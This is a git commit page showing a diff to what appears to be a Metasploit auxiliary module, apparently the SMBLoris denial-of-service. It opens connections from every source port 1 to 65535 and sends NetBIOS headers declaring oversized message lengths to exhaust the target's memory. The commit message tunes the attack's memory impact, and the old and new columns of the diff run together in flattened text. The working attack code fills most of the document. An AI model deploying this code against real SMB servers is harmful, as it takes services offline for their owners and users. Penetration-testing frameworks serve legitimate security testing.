removedthreading stuff, tried keepalives

still seem to be topping out at
about 1.3GB allocated
bug/bundler_fix
David Maloney 2017-08-04 15:28:01 -05:00
parent e73ffe648e
commit 15cc2a9dc0
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
1 changed files with 15 additions and 31 deletions

View File

@ -50,45 +50,29 @@ class MetasploitModule < Msf::Auxiliary
header = NbssHeader.new header = NbssHeader.new
header.message_length = 0x01FFFF header.message_length = 0x01FFFF
worker_threads = Queue.new linger = Socket::Option.linger(true, 60)
supervisor = Thread.new do
loop do
zombie_thread = worker_threads.pop(true)
unless zombie_thread.nil?
zombie_thread.kill
end
end
end
linger = Socket::Option.linger(true, 30)
(1..65535).each do |src_port| (1..65535).each do |src_port|
print_status "Sending packet from Source Port: #{src_port}" print_status "Sending packet from Source Port: #{src_port}"
mythr = Thread.new do opts = {
opts = { 'CPORT' => src_port,
'CPORT' => src_port, 'ConnectTimeout' => 360
'ConnectTimeout' => 30 }
}
begin
#nsock = Socket.tcp(rhost, rport, '0.0.0.0' , src_port)
nsock = connect(false, opts)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)
nsock.setsockopt(linger)
nsock.write(header.to_binary_s)
rescue Exception => e
print_error "Exception sending packet: #{e.message}"
end
begin
nsock = connect(false, opts)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
nsock.setsockopt(linger)
nsock.write(header.to_binary_s)
rescue ::Exception => e
print_error "Exception sending packet: #{e.message}"
end end
worker_threads << mythr
end end
print_status "Sleeping for 30 seconds..." print_status "Sleeping for 30 seconds..."
select(nil, nil, nil, 30) select(nil, nil, nil, 30)
supervisor.kill
end end
end end